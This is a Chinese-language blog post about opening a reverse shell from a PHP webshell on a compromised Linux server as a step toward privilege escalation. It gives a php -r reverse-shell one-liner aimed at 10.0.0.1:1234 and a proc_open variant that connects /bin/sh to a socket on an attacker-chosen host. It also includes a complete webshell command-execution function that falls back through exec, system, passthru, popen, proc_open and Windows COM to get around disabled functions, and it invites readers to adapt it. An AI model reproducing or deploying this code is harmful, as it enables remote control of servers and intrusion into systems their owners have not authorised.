php webshell下直接反弹shell的例子
发布:smiling 来源: PHP粉丝网 添加日期:2018-10-13 14:25:04 浏览: 评论:0
Linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。
我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。
在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:
- php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。
- $sock = fsockopen($ip, $port);
- $descriptorspec = array(
- 0 => $sock,
- 1 => $sock,
- 2 => $sock
- );
- $process = proc_open('/bin/sh', $descriptorspec, $pipes);
- proc_close($process);
其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:
反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。
不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:
具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。
另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~
- function exec_comm($cmd, &$type = '', &$suc = TRUE)
- {
- set_error_handler("customError");
- $re = false;
- if (emptyempty($cmd)) return '执行结果';
- if (emptyempty($type)){
- if(function_exists('exec')){
- @exec($cmd, $re);
- $re = join("\n", $re);
- $type = 'exec';
- }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
- $type = 'shell_exec';
- }else if(function_exists('system')){
- @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
- $type = 'system';
- }else if(function_exists('passthru')){
- @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
- $type = 'passthru';
- }else if(is_resource($f = popen($cmd,"r"))){
- while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
- $type = 'popen';
- }else if(function_exists('proc_open')){
- $descriptorspec = array(
- 0 => array("pipe", "r"),
- 1 => array("pipe", "w"),
- 2 => array("pipe", "w")
- );
- $process = proc_open($cmd, $descriptorspec, $pipes);
- if (is_resource($process)) {
- fwrite($pipes[0], "{$cmd}\r\n");
- fwrite($pipes[0], "exit\r\n");
- fclose($pipes[0]);
- // 读取输出
- while (!feof($pipes[1])) {
- $re .= fgets($pipes[1], 1024);
- }
- fclose($pipes[1]);
- while (!feof($pipes[2])) {
- $re .= fgets($pipes[2], 1024);
- }
- fclose($pipes[2]);
- proc_close($process);
- }
- }
- }else if($type == 'wscript'){
- $s= new COM('wscript.shell');
- $exec = $s->exec($cmd);
- $stdout = $exec->StdOut();
- $re = $stdout->ReadAll();
- }else if($type == 'application'){
- $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
- $shell= new COM('Shell.Application');
- $shell->ShellExecute($exe,$cmd);
- $re = "请查看{$cmd}中输入文件内容\n";
- } //phpfensi.com
- if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
- return $re;
- }
Tags: webshell 反弹shell
相关文章
- ·从后台到webshell的一点思路(2014-03-07)
- ·php webshell扫描后门木马实例程序(2014-08-22)
- ·PHP最短webshell的一些理解(2018-10-15)
- ·PHP常见过waf webshell以及最简单的检测方法(2021-11-22)
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)